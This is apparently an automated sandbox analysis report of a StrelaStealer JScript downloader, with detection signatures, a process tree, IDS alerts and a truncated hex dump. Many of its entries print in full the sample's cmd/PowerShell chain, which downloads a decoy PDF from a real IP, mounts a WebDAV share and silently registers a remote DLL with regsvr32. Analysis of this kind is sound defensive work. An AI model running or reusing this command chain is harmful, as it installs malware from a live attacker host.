Edit tour

Windows Analysis Report
15315323282846423758.js

Overview

General Information

Sample name:	15315323282846423758.js
Analysis ID:	1588490
MD5:	0f630a570b58abe695bc8585a2cb56d7
SHA1:	4789598e82c7fcad628a8470eef7881b653a00de
SHA256:	1bafc3cc3bc03c8b48bba972c4eb568577308a8fdb1b975c6e454fb6d6cc5d3a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3344 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2340 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2384 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1900 --field-trial-handle=1636,i,7680078454026771213,17206862086512278938,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5084 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6716 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3344	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ProcessId: 3344, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6716, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ProcessId: 3344, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6716, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4648, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6716, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll, ProcessId: 2344, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:52.554231+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:54.962878+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:52.554231+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 15315323282846423758.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 15315323282846423758.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 15315323282846423758.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

